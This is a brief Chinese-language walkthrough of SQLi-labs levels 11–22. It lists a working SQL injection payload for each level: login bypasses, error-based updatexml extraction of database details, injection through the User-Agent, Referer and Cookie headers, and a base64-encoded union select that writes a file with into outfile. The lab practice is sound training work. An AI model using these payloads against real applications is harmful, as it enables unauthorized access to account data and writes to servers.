靶场练习-SQLilabs-Basic-Post

less-11：BP抓包，改包uname=2’ or 1=1 limit 2,1–+可以看到所有账户密码
less-12：BP抓包，改包uname=D") or 1=1 limit 2,1 --+可以看到所有账户密码
less-13：BP抓包，‘) or 1=1–+和’) or 1=2–+回显不同，1=1改成 updatexml(1,concat(0x7e,(@@basedir),0x7e),0)看到数据库路径
less-14：同上，把单引号变成双引号即可
less-15：按照’ or 1=1 --+和’ or 1=2 --+看到回显不同，可以用类似length(database())=
less-16：同上类似，把单引号变成双引号，发现报错，然后想到前面几道题括号的问题，双引号后面加）过了
less-17：更新密码通过’ or updatexml(1,concat(0x7e,(database()),0x7e),0) or ‘查看数据库名
less-18：在user-agent后面加上’ or updatexml(1,concat(0x7e,(@@basedir),0x7e),0) or’可以注入
less-19：在refer后面加上’ or updatexml(1,concat(0x7e,(@@basedir),0x7e),0) or’可以
less-20：Cookie中uname=后面加上’ or updatexml(1,concat(0x7e,(@@basedir),0x7e),0) or’可以
less-21：看到uname = RHVtYg==，抓包时候==被编码，猜测这个是base64编码，解码后是用户名Dump；按照这个思路’ + (select 1) + ‘加密后注入没有报错，接下来’) union select 1000,1,2 into outfile “c:/123.txt” #编码注入即可
less-22：应该和上一道题一样，只是单双引号互换